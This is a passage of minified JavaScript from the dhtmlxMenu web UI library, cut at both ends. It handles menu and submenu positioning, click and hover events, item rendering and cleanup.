E=(this.conf.v.y2!=null?this.conf.v.y2:0);if(F==0){if(window.innerWidth){F=window.innerWidth;E=window.innerHeight}else{F=document.body.offsetWidth;E=document.body.scrollHeight}}}if(u+A>F&&!this.conf.rtl){u=a-A+2}if(u<this.conf.v.x1&&this.conf.rtl){u=a+m-2}if(u<0){u=0}if(s+K>E&&this.conf.v.y2!=null){s=Math.max(N+o-K+2,(this.conf.v_enabled?this.conf.v.y1+2:2));if(this.conf.context&&this.idPrefix+this.topId==H&&D!=null){s=s-2}if(this.itemPull[H]!=null&&!this.conf.context){if(this.itemPull[H][\"parent\"]==this.idPrefix+this.topId){s=s-this.base.offsetHeight}}}this.idPull[I].style.left=u+\"px\";this.idPull[I].style.top=s+\"px\";if(typeof(this._menuEffect)!=\"undefined\"&&this._menuEffect!==false){this._showPolygonEffect(I)}else{this.idPull[I].style.visibility=\"\";if(this.conf.overflow_limit>0&&this.conf.overflow_limit<M){this.idPull[I].childNodes[1].scrollTop=0;this._checkArrowsState(H)}if(window.dhx4.isIE6){var r=I+\"_ie6cover\";if(this.idPull[r]==null){var q=document.createElement(\"IFRAME\");q.className=\"dhtmlxMenu_IE6CoverFix_\"+this.conf.skin;q.frameBorder=0;q.setAttribute(\"src\",\"javascript:false;\");document.body.insertBefore(q,document.body.firstChild);this.idPull[r]=q}this.idPull[r].style.left=u+\"px\";this.idPull[r].style.top=s+\"px\";this.idPull[r].style.width=this.idPull[I].offsetWidth+\"px\";this.idPull[r].style.height=this.idPull[I].offsetHeight+\"px\";this.idPull[r].style.zIndex=this.idPull[I].style.zIndex-1;this.idPull[r].style.display=\"\"}}H=String(H).replace(this.idPrefix,\"\");if(H==this.topId){H=null}this.callEvent(\"onShow\",[H]);if(H!=null&&this.conf.skin==\"dhx_terrace\"&&this.itemPull[this.idPrefix+H].parent==this.idPrefix+this.topId){this._improveTerraceButton(this.idPrefix+H,false)}}};this._redistribSubLevelSelection=function(r,o){while(this.conf.opened_poly.length>0){this.conf.opened_poly.pop()}var a=this._getSubItemToDeselectByPolygon(o);this._removeSubItemFromSelected(-1,-1);for(var m=0;m<a.length;m++){if((this.idPull[a[m]]!=null)&&(a[m]!=r)){if(this.itemPull[a[m]][\"state\"]==\"enabled\"){this.idPull[a[m]].className=\"sub_item\"}}}for(var m=0;m<this.conf.opened_poly.length;m++){if(this.conf.opened_poly[m]!=o){this._hidePolygon(this.conf.opened_poly[m])}}if(this.itemPull[r][\"state\"]==\"enabled\"){this.idPull[r].className=\"sub_item_selected\";if(this.itemPull[r][\"complex\"]&&this.conf.dload&&(this.itemPull[r][\"loaded\"]==\"no\")){if(this.conf.dload_icon==true){this._updateLoaderIcon(r,true)}this.itemPull[r].loaded=\"get\";var n=r.replace(this.idPrefix,\"\");this._dhxdataload.onBeforeXLS=function(){var s={params:{}};s.params[this.conf.dload_pid]=n;for(var q in this.conf.dload_params){s.params[q]=this.conf.dload_params[q]}return s};this.loadStruct(this.conf.dload_url)}if(this.itemPull[r][\"complex\"]||(this.conf.dload&&(this.itemPull[r][\"loaded\"]==\"yes\"))){if((this.itemPull[r][\"complex\"])&&(this.idPull[\"polygon_\"+r]!=null)){this._updateItemComplexState(r,true,true);this._showPolygon(r,this.conf.dir_sublv)}}this._addSubItemToSelected(r,o);this.conf.selected=r}};this._doOnClick=function(n,x,r){this.conf.last_click=n;if(this.itemPull[this.idPrefix+n][\"href_link\"]!=null&&this.itemPull[this.idPrefix+n].state==\"enabled\"){var s=document.createElement(\"FORM\");var v=String(this.itemPull[this.idPrefix+n][\"href_link\"]).split(\"?\");s.action=v[0];if(v[1]!=null){var o=String(v[1]).split(\"&\");for(var a=0;a<o.length;a++){var w=String(o[a]).split(\"=\");var u=document.createElement(\"INPUT\");u.type=\"hidden\";u.name=(w[0]||\"\");u.value=(w[1]||\"\");s.appendChild(u)}}if(this.itemPull[this.idPrefix+n][\"href_target\"]!=null){s.target=this.itemPull[this.idPrefix+n][\"href_target\"]}s.style.display=\"none\";document.body.appendChild(s);s.submit();if(s!=null){document.body.removeChild(s);s=null}return}if(x.charAt(0)==\"c\"){return}if(x.charAt(1)==\"d\"){return}if(x.charAt(2)==\"s\"){return}if(this.checkEvent(\"onClick\")){this.callEvent(\"onClick\",[n,this.conf.ctx_zoneid,r])}else{if((x.charAt(1)==\"d\")||(this.conf.mode==\"win\"&&x.charAt(2)==\"t\")){return}}if(this.conf.context&&this._isContextMenuVisible()&&this.conf.ctx_autohide){this._hideContextMenu()}else{if(this._clearAndHide){this._clearAndHide()}}};this._doOnTouchMenu=function(a){if(this.conf.is_touched==false){this.conf.is_touched=true;if(this.checkEvent(\"onTouch\")){this.callEvent(\"onTouch\",[a])}}};this._searchMenuNode=function(o,s){var a=new Array();for(var r=0;r<s.length;r++){if(typeof(s[r])==\"object\"){if(s[r].length==5){if(typeof(s[r][0])!=\"object\"){if((s[r][0].replace(this.idPrefix,\"\")==o)&&(r==0)){a=s}}}var n=this._searchMenuNode(o,s[r]);if(n.length>0){a=n}}}return a};this._getMenuNodes=function(q){var n=new Array;for(var o in this.itemPull){if(this.itemPull[o][\"parent\"]==q){n[n.length]=o}}return n};this._genStr=function(a){var m=\"dhxId_\";var o=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var n=0;n<a;n++){m+=o.charAt(Math.round(Math.random()*(o.length-1)))}return m};this.getItemType=function(a){a=this.idPrefix+a;if(this.itemPull[a]==null){return null}return this.itemPull[a][\"type\"]};this.forEachItem=function(n){for(var m in this.itemPull){n(String(m).replace(this.idPrefix,\"\"))}};this._clearAndHide=function(){g.conf.selected=-1;g.conf.last_click=-1;while(g.conf.opened_poly.length>0){g.conf.opened_poly.pop()}for(var a=0;a<g.conf.selected_sub.length;a++){var m=g.conf.selected_sub[a][0];if(g.idPull[m]!=null){if(g.itemPull[m][\"state\"]==\"enabled\"){if(g.idPull[m].className==\"sub_item_selected\"){g.idPull[m].className=\"sub_item\"}if(g.idPull[m].className==\"dhtmlxMenu_\"+g.conf.skin+\"_TopLevel_Item_Selected\"){if(g.itemPull[m][\"cssNormal\"]!=null){g.idPull[m].className=g.itemPull[m][\"cssNormal\"]}else{g.idPull[m].className=\"dhtmlxMenu_\"+g.conf.skin+\"_TopLevel_Item_Normal\"}}}}g._hidePolygon(m)}g.conf.is_touched=false;if(g.conf.context&&g.conf.ctx_hideall){g._hidePolygon(g.idPrefix+g.topId)}};this._showSubLevelItem=function(m,a){if(document.getElementById(\"arrow_\"+this.idPrefix+m)!=null){document.getElementById(\"arrow_\"+this.idPrefix+m).style.display=(a?\"none\":\"\")}if(document.getElementById(\"image_\"+this.idPrefix+m)!=null){document.getElementById(\"image_\"+this.idPrefix+m).style.display=(a?\"none\":\"\")}if(document.getElementById(this.idPrefix+m)!=null){document.getElementById(this.idPrefix+m).style.display=(a?\"\":\"none\")}};this._hideSubLevelItem=function(a){this._showSubLevelItem(a,true)};this.idPrefix=this._genStr(12)+\"_\";this._bodyClick=function(a){a=a||event;if(a.button==2||(window.dhx4.isOpera&&a.ctrlKey==true)){return}if(g.conf.context){if(g.conf.ctx_autohide&&(!window.dhx4.isOpera||(g._isContextMenuVisible()&&window.dhx4.isOpera))){g._hideContextMenu()}}else{if(g._clearAndHide){g._clearAndHide()}}};this._bodyContext=function(n){n=n||event;var m=String((n.srcElement||n.target).className);if(m.search(\"dhtmlxMenu\")!=-1&&m.search(\"SubLevelArea\")!=-1){return}var a=true;var o=n.target||n.srcElement;while(o!=null){if(o.id!=null){if(g.isContextZone(o.id)){a=false}}if(o==document.body){a=false}o=o.parentNode}if(a){g.hideContextMenu()}};if(typeof(window.addEventListener)!=\"undefined\"){window.addEventListener(\"click\",this._bodyClick,false);window.addEventListener(\"contextmenu\",this._bodyContext,false)}else{document.body.attachEvent(\"onclick\",this._bodyClick);document.body.attachEvent(\"oncontextmenu\",this._bodyContext)}this.unload=function(){window.dhx4._eventable(this,\"clear\");dhtmlXMenuObject.prototype.liveInst[this.conf.live_id]=null;try{delete dhtmlXMenuObject.prototype.liveInst[this.conf.live_id]}catch(n){}this.conf.live_id=null;if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"click\",this._bodyClick,false);window.removeEventListener(\"contextmenu\",this._bodyContext,false)}else{document.body.detachEvent(\"onclick\",this._bodyClick);document.body.detachEvent(\"oncontextmenu\",this._bodyContext)}this._bodyClick=null;this._bodyContext=null;this.removeItem(this.idPrefix+this.topId,true);this.itemPull=null;this.idPull=null;if(this.conf.context){for(var m in this.conf.ctx_zones){this.removeContextZone(m)}}if(this.cont!=null){this.cont.className=\"\";this.cont.parentNode.removeChild(this.cont);this.cont=null}if(this.base!=null){if(!this.conf.context){this.base.className=\"\"}if(!this.conf.context){this.base.oncontextmenu=(this.base._oldContextMenuHandler||null)}this.base.onselectstart=null;this.base=null}for(var m in this){this[m]=null}g=null};dhtmlXMenuObject.prototype.liveInst[this.conf.live_id]=this;window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToJson\",this.conf.tags.root,{struct:true});window.dhx4._eventable(this);if(window.dhx4.s2b(this.conf.autoload.context)==true){this.renderAsContextMenu()}if(this.conf.autoload.dynamic!=null){this.enableDynamicLoading(this.conf.autoload.dynamic,window.dhx4.s2b(this.conf.autoload.dynamic_icon))}else{if(this.conf.autoload.items!=null){this.loadStruct(this.conf.autoload.items,this.conf.autoload.onload)}else{if(this.conf.autoload.json!=null){this.loadStruct(this.conf.autoload.json,this.conf.autoload.onload)}else{if(this.conf.autoload.xml!=null){this.loadStruct(this.conf.autoload.xml,this.conf.autoload.onload)}}}}for(var e in {onclick:1,oncheckboxclick:1,onradioclick:1}){if(this.conf.autoload[e]!=null){if(typeof(this.conf.autoload[e])==\"function\"){this.attachEvent(e,this.conf.autoload[e])}else{if(typeof(window[this.conf.autoload[e]])==\"function\"){this.attachEvent(e,window[this.conf.autoload[e]])}}}}if(this.conf.autoload.top_text!=null){this.setTopText(this.conf.autoload.top_text)}if(this.conf.autoload.align!=null){this.setAlign(this.conf.autoload.align)}if(this.conf.autoload.open_mode!=null){this.setOpenMode(this.conf.autoload.open_mode)}if(this.conf.autoload.overflow!=null){this.setOverflowHeight(this.conf.autoload.overflow)}for(var e in this.conf.autoload){this.conf.autoload[e]=null;delete this.conf.autoload[e]}this.conf.autoload=null;return this}dhtmlXMenuObject.prototype._init=function(){if(this._isInited==true){return}if(this.conf.dload){this._dhxdataload.onBeforeXLS=function(){var e={params:{}};for(var c in this.conf.dload_params){e.params[c]=this.conf.dload_params[c]}return e};this.loadStruct(this.conf.dload_url)}else{this._initTopLevelMenu();this._isInited=true}};dhtmlXMenuObject.prototype._countVisiblePolygonItems=function(l){var g=0;for(var c in this.itemPull){var e=this.itemPull[c][\"parent\"];var h=this.itemPull[c][\"type\"];if(this.idPull[c]!=null){if(e==l&&(h==\"item\"||h==\"radio\"||h==\"checkbox\")&&this.idPull[c].style.display!=\"none\"){g++}}}return g};dhtmlXMenuObject.prototype._redefineComplexState=function(c){if(this.idPrefix+this.topId==c){return}if((this.idPull[\"polygon_\"+c]!=null)&&(this.idPull[c]!=null)){var a=this._countVisiblePolygonItems(c);if((a>0)&&(!this.itemPull[c][\"complex\"])){this._updateItemComplexState(c,true,false)}if((a==0)&&(this.itemPull[c][\"complex\"])){this._updateItemComplexState(c,false,false)}}};dhtmlXMenuObject.prototype._updateItemComplexState=function(h,e,g){if((!this.conf.context)&&(this._getItemLevelType(h.replace(this.idPrefix,\"\"))==\"TopLevel\")){this.itemPull[h][\"complex\"]=e;return}if((this.idPull[h]==null)||(this.itemPull[h]==null)){return}this.itemPull[h][\"complex\"]=e;if(h==this.idPrefix+this.topId){return}var a=null;var c=this.idPull[h].childNodes[this.conf.rtl?0:2];if(c.childNodes[0]){if(String(c.childNodes[0].className).search(\"complex_arrow\")===0){a=c.childNodes[0]}}if(this.itemPull[h][\"complex\"]){if(a==null){a=document.createElement(\"DIV\");a.className=\"complex_arrow\";a.id=\"arrow_\"+h;while(c.childNodes.length>0){c.removeChild(c.childNodes[0])}c.appendChild(a)}if(this.conf.dload&&(this.itemPull[h].loaded==\"get\")&&this.conf.dload_icon){if(a.className!=\"complex_arrow_loading\"){a.className=\"complex_arrow_loading\"}}else{a.className=\"complex_arrow\"}return}if((!this.itemPull[h][\"complex\"])&&(a!=null)){c.removeChild(a);if(this.itemPull[h][\"hotkey_backup\"]!=null&&this.setHotKey){this.setHotKey(h.replace(this.idPrefix,\"\"),this.itemPull[h][\"hotkey_backup\"])}}};dhtmlXMenuObject.prototype._getItemLevelType=function(a){return(this.itemPull[this.idPrefix+a][\"parent\"]==this.idPrefix+this.topId?\"TopLevel\":\"SubLevelArea\")};dhtmlXMenuObject.prototype.setIconsPath=function(a){this.conf.icons_path=a};dhtmlXMenuObject.prototype._updateItemImage=function(g,h){g=this.idPrefix+g;var o=this.itemPull[g][\"type\"];if(o==\"checkbox\"||o==\"radio\"){return}var l=(this.itemPull[g][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context);var m=null;if(l){for(var a=0;a<this.idPull[g].childNodes.length;a++){try{if(this.idPull[g].childNodes[a].className==\"dhtmlxMenu_TopLevel_Item_Icon\"){m=this.idPull[g].childNodes[a]}}catch(n){}}}else{try{var m=this.idPull[g].childNodes[this.conf.rtl?2:0].childNodes[0]}catch(n){}if(!(m!=null&&typeof(m.className)!=\"undefined\"&&m.className==\"sub_icon\")){m=null}}var s=this.itemPull[g][(this.itemPull[g][\"state\"]==\"enabled\"?\"imgen\":\"imgdis\")];if(s.length>0){if(m!=null){m.src=this.conf.icons_path+s}else{if(l){var m=document.createElement(\"IMG\");m.className=\"dhtmlxMenu_TopLevel_Item_Icon\";m.src=this.conf.icons_path+s;m.border=\"0\";m.id=\"image_\"+g;if(!this.conf.rtl&&this.idPull[g].childNodes.length>0){this.idPull[g].insertBefore(m,this.idPull[g].childNodes[0])}else{this.idPull[g].appendChild(m)}}else{var m=document.createElement(\"IMG\");m.className=\"sub_icon\";m.src=this.conf.icons_path+s;m.border=\"0\";m.id=\"image_\"+g;var r=this.idPull[g].childNodes[this.conf.rtl?2:0];while(r.childNodes.length>0){r.removeChild(r.childNodes[0])}r.appendChild(m)}}}else{if(m!=null){var c=m.parentNode;c.removeChild(m);c.innerHTML=\"&nbsp;\";c=m=null}}};dhtmlXMenuObject.prototype._getAllParents=function(l){var e=new Array();for(var c in this.itemPull){if(this.itemPull[c][\"parent\"]==l){e[e.length]=this.itemPull[c][\"id\"];if(this.itemPull[c][\"complex\"]){var g=this._getAllParents(this.itemPull[c][\"id\"]);for(var h=0;h<g.length;h++){e[e.length]=g[h]}}}}return e};dhtmlXMenuObject.prototype._autoDetectVisibleArea=function(){if(this.conf.v_enabled){return}var a=window.dhx4.screenDim();this.conf.v.x1=a.left;this.conf.v.x2=a.right;this.conf.v.y1=a.top;this.conf.v.y2=a.bottom};dhtmlXMenuObject.prototype.getItemPosition=function(h){h=this.idPrefix+h;var g=-1;if(this.itemPull[h]==null){return g}var a=this.itemPull[h][\"parent\"];var e=(this.idPull[\"polygon_\"+a]!=null?this.idPull[\"polygon_\"+a].tbd:this.cont);for(var c=0;c<e.childNodes.length;c++){if(e.childNodes[c]==this.idPull[\"separator_\"+h]||e.childNodes[c]==this.idPull[h]){g=c}}return g};dhtmlXMenuObject.prototype.setItemPosition=function(m,l){m=this.idPrefix+m;if(this.idPull[m]==null){return}var c=(this.itemPull[m][\"parent\"]==this.idPrefix+this.topId);var a=this.idPull[m];var g=this.getItemPosition(m.replace(this.idPrefix,\"\"));var e=this.itemPull[m][\"parent\"];var h=(this.idPull[\"polygon_\"+e]!=null?this.idPull[\"polygon_\"+e].tbd:this.cont);h.removeChild(h.childNodes[g]);if(l<0){l=0}if(c&&l<1){l=1}if(l<h.childNodes.length){h.insertBefore(a,h.childNodes[l])}else{h.appendChild(a)}};dhtmlXMenuObject.prototype.getParentId=function(a){a=this.idPrefix+a;if(this.itemPull[a]==null){return null}return((this.itemPull[a][\"parent\"]!=null?this.itemPull[a][\"parent\"]:this.topId).replace(this.idPrefix,\"\"))};dhtmlXMenuObject.prototype.hide=function(){this._clearAndHide()};dhtmlXMenuObject.prototype.clearAll=function(){this.removeItem(this.idPrefix+this.topId,true);this._isInited=false;this.idPrefix=this._genStr(12)+\"_\";this.itemPull={}};if(typeof(dhtmlXMenuObject.prototype.liveInst)==\"undefined\"){dhtmlXMenuObject.prototype.liveInst={}}dhtmlXMenuObject.prototype._redistribTopLevelSelection=function(g,c){var a=this._getSubItemToDeselectByPolygon(\"parent\");this._removeSubItemFromSelected(-1,-1);for(var e=0;e<a.length;e++){if(a[e]!=g){this._hidePolygon(a[e])}if((this.idPull[a[e]]!=null)&&(a[e]!=g)){this.idPull[a[e]].className=this.idPull[a[e]].className.replace(/Selected/g,\"Normal\")}}if(this.itemPull[this.idPrefix+g][\"state\"]==\"enabled\"){this.idPull[this.idPrefix+g].className=\"dhtmlxMenu_\"+this.conf.skin+\"_TopLevel_Item_Selected\";this._addSubItemToSelected(this.idPrefix+g,\"parent\");this.conf.selected=(this.conf.mode==\"win\"?(this.conf.selected!=-1?g:this.conf.selected):g);if((this.itemPull[this.idPrefix+g][\"complex\"])&&(this.conf.selected!=-1)){this._showPolygon(this.idPrefix+g,this.conf.dir_toplv)}}};dhtmlXMenuObject.prototype._initTopLevelMenu=function(){this.conf.dir_toplv=\"bottom\";this.conf.dir_sublv=(this.conf.rtl?\"left\":\"right\");if(this.conf.context){this.idPull[this.idPrefix+this.topId]=new Array(0,0);this._addSubMenuPolygon(this.idPrefix+this.topId,this.idPrefix+this.topId)}else{var a=this._getMenuNodes(this.idPrefix+this.topId);for(var c=0;c<a.length;c++){if(this.itemPull[a[c]][\"type\"]==\"item\"){this._renderToplevelItem(a[c],null)}if(this.itemPull[a[c]][\"type\"]==\"separator\"){this._renderSeparator(a[c],null)}}}};dhtmlXMenuObject.prototype._renderToplevelItem=function(n,l){var h=this;var a=document.createElement(\"DIV\");a.id=n;if(this.itemPull[n][\"state\"]==\"enabled\"&&this.itemPull[n][\"cssNormal\"]!=null){a.className=this.itemPull[n][\"cssNormal\"]}else{a.className=\"dhtmlxMenu_\"+this.conf.skin+\"_TopLevel_Item_\"+(this.itemPull[n][\"state\"]==\"enabled\"?\"Normal\":\"Disabled\")}if(this.itemPull[n][\"title\"]!=\"\"){var g=document.createElement(\"DIV\");g.className=\"top_level_text\";g.innerHTML=this.itemPull[n][\"title\"];a.appendChild(g)}if(this.itemPull[n][\"tip\"].length>0){a.title=this.itemPull[n][\"tip\"]}if((this.itemPull[n][\"imgen\"]!=\"\")||(this.itemPull[n][\"imgdis\"]!=\"\")){var e=this.itemPull[n][(this.itemPull[n][\"state\"]==\"enabled\")?\"imgen\":\"imgdis\"];if(e){var c=document.createElement(\"IMG\");c.border=\"0\";c.id=\"image_\"+n;c.src=this.conf.icons_path+e;c.className=\"dhtmlxMenu_TopLevel_Item_Icon\";if(a.childNodes.length>0&&!this.conf.rtl){a.insertBefore(c,a.childNodes[0])}else{a.appendChild(c)}}}a.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}return false};a.oncontextmenu=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}return false};if(!this.cont){this.cont=document.createElement(\"DIV\");this.cont.dir=\"ltr\";this.cont.className=(this.conf.align==\"right\"?\"align_right\":\"align_left\");this.base.appendChild(this.cont)}if(l!=null){l++;if(l<0){l=0}if(l>this.cont.childNodes.length-1){l=null}}if(l!=null){this.cont.insertBefore(a,this.cont.childNodes[l])}else{this.cont.appendChild(a)}this.idPull[a.id]=a;if(this.itemPull[n][\"complex\"]&&(!this.conf.dload)){this._addSubMenuPolygon(this.itemPull[n][\"id\"],this.itemPull[n][\"id\"])}a.onmouseover=function(){if(h.conf.mode==\"web\"){window.clearTimeout(h.conf.tm_handler)}var m=h._getSubItemToDeselectByPolygon(\"parent\");h._removeSubItemFromSelected(-1,-1);for(var r=0;r<m.length;r++){if(m[r]!=this.id){h._hidePolygon(m[r])}if((h.idPull[m[r]]!=null)&&(m[r]!=this.id)){if(h.itemPull[m[r]][\"cssNormal\"]!=null){h.idPull[m[r]].className=h.itemPull[m[r]][\"cssNormal\"]}else{if(h.idPull[m[r]].className==\"sub_item_selected\"){h.idPull[m[r]].className=\"sub_item\"}h.idPull[m[r]].className=h.idPull[m[r]].className.replace(/Selected/g,\"Normal\")}}}if(h.itemPull[this.id][\"state\"]==\"enabled\"){this.className=\"dhtmlxMenu_\"+h.conf.skin+\"_TopLevel_Item_Selected\";h._addSubItemToSelected(this.id,\"parent\");h.conf.selected=(h.conf.mode==\"win\"?(h.conf.selected!=-1?this.id:h.conf.selected):this.id);if(h.conf.dload){if(h.itemPull[this.id].loaded==\"no\"){this._dynLoadTM=new Date().getTime();h.itemPull[this.id].loaded=\"get\";var s=this.id.replace(h.idPrefix,\"\");h._dhxdataload.onBeforeXLS=function(){var u={params:{}};u.params[this.conf.dload_pid]=s;for(var q in this.conf.dload_params){u.params[q]=this.conf.dload_params[q]}return u};h.loadStruct(h.conf.dload_url)}if(h.conf.top_mode&&h.conf.mode==\"web\"&&!h.conf.context){this._mouseOver=true}}if((!h.conf.dload)||(h.conf.dload&&(!h.itemPull[this.id][\"loaded\"]||h.itemPull[this.id][\"loaded\"]==\"yes\"))){if((h.itemPull[this.id][\"complex\"])&&(h.conf.selected!=-1)){if(h.conf.top_mode&&h.conf.mode==\"web\"&&!h.conf.context){this._mouseOver=true;var o=this.id;this._menuOpenTM=window.setTimeout(function(){h._showPolygon(o,h.conf.dir_toplv)},h.conf.top_tmtime)}else{h._showPolygon(this.id,h.conf.dir_toplv)}}}}h._doOnTouchMenu(this.id.replace(h.idPrefix,\"\"))};a.onmouseout=function(){if(!((h.itemPull[this.id][\"complex\"])&&(h.conf.selected!=-1))&&(h.itemPull[this.id][\"state\"]==\"enabled\")){if(h.itemPull[this.id][\"cssNormal\"]!=null){a.className=h.itemPull[this.id][\"cssNormal\"]}else{a.className=\"dhtmlxMenu_\"+h.conf.skin+\"_TopLevel_Item_Normal\"}}if(h.conf.mode==\"web\"){window.clearTimeout(h.conf.tm_handler);h.conf.tm_handler=window.setTimeout(function(){h._clearAndHide()},h.conf.tm_sec,\"JavaScript\")}if(h.conf.top_mode&&h.conf.mode==\"web\"&&!h.conf.context){this._mouseOver=false;window.clearTimeout(this._menuOpenTM)}};a.onclick=function(r){if(h.conf.mode==\"web\"){window.clearTimeout(h.conf.tm_handler)}if(h.conf.mode!=\"web\"&&h.itemPull[this.id][\"state\"]==\"disabled\"){return}r=r||event;r.cancelBubble=true;if(r.preventDefault){r.preventDefault()}else{r.returnValue=false}if(h.conf.mode==\"win\"){if(h.itemPull[this.id][\"complex\"]){if(h.conf.selected==this.id){h.conf.selected=-1;var q=false}else{h.conf.selected=this.id;var q=true}if(q){h._showPolygon(this.id,h.conf.dir_toplv)}else{h._hidePolygon(this.id)}}}var m=(h.itemPull[this.id][\"complex\"]?\"c\":\"-\");var u=(h.itemPull[this.id][\"state\"]!=\"enabled\"?\"d\":\"-\");var o={ctrl:r.ctrlKey,alt:r.altKey,shift:r.shiftKey};h._doOnClick(this.id.replace(h.idPrefix,\"\"),m+u+\"t\",o);return false};if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXMenuObject.prototype._addSubMenuPolygon=function(l,h){var c=this._renderSublevelPolygon(l,h);var a=this._getMenuNodes(h);for(e=0;e<a.length;e++){if(this.itemPull[a[e]][\"type\"]==\"separator\"){this._renderSeparator(a[e],null)}else{this._renderSublevelItem(a[e],null)}}if(l==h){var g=\"topLevel\"}else{var g=\"subLevel\"}for(var e=0;e<a.length;e++){if(this.itemPull[a[e]][\"complex\"]){this._addSubMenuPolygon(l,this.itemPull[a[e]][\"id\"])}}};dhtmlXMenuObject.prototype._renderSublevelPolygon=function(h,g){var c=document.createElement(\"DIV\");c.className=\"dhtmlxMenu_\"+this.conf.skin+\"_SubLevelArea_Polygon \"+(this.conf.rtl?\"dir_right\":\"\");c.dir=\"ltr\";c.oncontextmenu=function(l){l=l||event;if(l.preventDefault){l.preventDefault()}else{l.returnValue=false}l.cancelBubble=true;return false};c.id=\"polygon_\"+g;c.onclick=function(l){l=l||event;l.cancelBubble=true};c.style.display=\"none\";document.body.insertBefore(c,document.body.firstChild);c.innerHTML='<div style=\"position:relative;\"></div><div style=\"position: relative; overflow:hidden;\"></div><div style=\"position:relative;\"></div>';var e=document.createElement(\"TABLE\");e.className=\"dhtmlxMebu_SubLevelArea_Tbl\";e.cellSpacing=0;e.cellPadding=0;e.border=0;var a=document.createElement(\"TBODY\");e.appendChild(a);c.childNodes[1].appendChild(e);c.tbl=e;c.tbd=a;this.idPull[c.id]=c;if(this.sxDacProc!=null){this.idPull[\"sxDac_\"+g]=new this.sxDacProc(c,c.className);if(window.dhx4.isIE){this.idPull[\"sxDac_\"+g]._setSpeed(this.dacSpeedIE);this.idPull[\"sxDac_\"+g]._setCustomCycle(this.dacCyclesIE)}else{this.idPull[\"sxDac_\"+g]._setSpeed(this.dacSpeed);this.idPull[\"sxDac_\"+g]._setCustomCycle(this.dacCycles)}}return c};dhtmlXMenuObject.prototype._renderSublevelItem=function(a,q){var n=this;var o=document.createElement(\"TR\");o.className=(this.itemPull[a][\"state\"]==\"enabled\"?\"sub_item\":\"sub_item_dis\");var m=document.createElement(\"TD\");m.className=\"sub_item_icon\";var r=this.itemPull[a][(this.itemPull[a][\"state\"]==\"enabled\"?\"imgen\":\"imgdis\")];if(r!=\"\"){var v=this.itemPull[a][\"type\"];if(v==\"checkbox\"||v==\"radio\"){var h=document.createElement(\"DIV\");h.id=\"image_\"+this.itemPull[a][\"id\"];h.className=\"sub_icon \"+r;m.appendChild(h)}if(!(v==\"checkbox\"||v==\"radio\")){var h=document.createElement(\"IMG\");h.id=\"image_\"+this.itemPull[a][\"id\"];h.className=\"sub_icon\";h.src=this.conf.icons_path+r;m.appendChild(h)}}else{m.innerHTML=\"&nbsp;\"}var l=document.createElement(\"TD\");l.className=\"sub_item_text\";if(this.itemPull[a][\"title\"]!=\"\"){var u=document.createElement(\"DIV\");u.className=\"sub_item_text\";u.innerHTML=this.itemPull[a][\"title\"];l.appendChild(u)}else{l.innerHTML=\"&nbsp;\"}var g=document.createElement(\"TD\");g.className=\"sub_item_hk\";if(this.itemPull[a][\"complex\"]){var c=document.createElement(\"DIV\");c.className=\"complex_arrow\";c.id=\"arrow_\"+this.itemPull[a][\"id\"];g.appendChild(c)}else{if(this.itemPull[a][\"hotkey\"].length>0&&!this.itemPull[a][\"complex\"]){var e=document.createElement(\"DIV\");e.className=\"sub_item_hk\";e.innerHTML=this.itemPull[a][\"hotkey\"];g.appendChild(e)}else{g.innerHTML=\"&nbsp;\"}}o.appendChild(this.conf.rtl?g:m);o.appendChild(l);o.appendChild(this.conf.rtl?m:g);o.id=this.itemPull[a][\"id\"];o.parent=this.itemPull[a][\"parent\"];if(this.itemPull[a][\"tip\"].length>0){o.title=this.itemPull[a][\"tip\"]}o.onselectstart=function(w){w=w||event;if(w.preventDefault){w.preventDefault()}else{w.returnValue=false}return false};o.onmouseover=function(w){if(n.conf.hide_tm[this.id]){window.clearTimeout(n.conf.hide_tm[this.id])}if(n.conf.mode==\"web\"){window.clearTimeout(n.conf.tm_handler)}if(!this._visible){n._redistribSubLevelSelection(this.id,this.parent)}this._visible=true};o.onmouseout=function(){if(n.conf.mode==\"web\"){if(n.conf.tm_handler){window.clearTimeout(n.conf.tm_handler)}n.conf.tm_handler=window.setTimeout(function(){if(n&&n._clearAndHide){n._clearAndHide()}},n.conf.tm_sec,\"JavaScript\")}var w=this;if(n.conf.hide_tm[this.id]){window.clearTimeout(n.conf.hide_tm[this.id])}n.conf.hide_tm[this.id]=window.setTimeout(function(){w._visible=false},50)};o.onclick=function(x){if(!n.checkEvent(\"onClick\")&&n.itemPull[this.id][\"complex\"]){return}x=x||event;x.cancelBubble=true;if(x.preventDefault){x.preventDefault()}else{x.returnValue=false}tc=(n.itemPull[this.id][\"complex\"]?\"c\":\"-\");td=(n.itemPull[this.id][\"state\"]==\"enabled\"?\"-\":\"d\");var w={ctrl:x.ctrlKey,alt:x.altKey,shift:x.shiftKey};switch(n.itemPull[this.id][\"type\"]){case\"checkbox\":n._checkboxOnClickHandler(this.id.replace(n.idPrefix,\"\"),tc+td+\"n\",w);break;case\"radio\":n._radioOnClickHandler(this.id.replace(n.idPrefix,\"\"),tc+td+\"n\",w);break;case\"item\":n._doOnClick(this.id.replace(n.idPrefix,\"\"),tc+td+\"n\",w);break}return false};var s=this.idPull[\"polygon_\"+this.itemPull[a][\"parent\"]];if(q!=null){q++;if(q<0){q=0}if(q>s.tbd.childNodes.length-1){q=null}}if(q!=null&&s.tbd.childNodes[q]!=null){s.tbd.insertBefore(o,s.tbd.childNodes[q])}else{s.tbd.appendChild(o)}this.idPull[o.id]=o};dhtmlXMenuObject.prototype._renderSeparator=function(c,m){var a=(this.conf.context?\"SubLevelArea\":(this.itemPull[c][\"parent\"]==this.idPrefix+this.topId?\"TopLevel\":\"SubLevelArea\"));if(a==\"TopLevel\"&&this.conf.context){return}var h=this;if(a!=\"TopLevel\"){var l=document.createElement(\"TR\");l.className=\"sub_sep\";var e=document.createElement(\"TD\");e.colSpan=\"3\";l.appendChild(e)}var 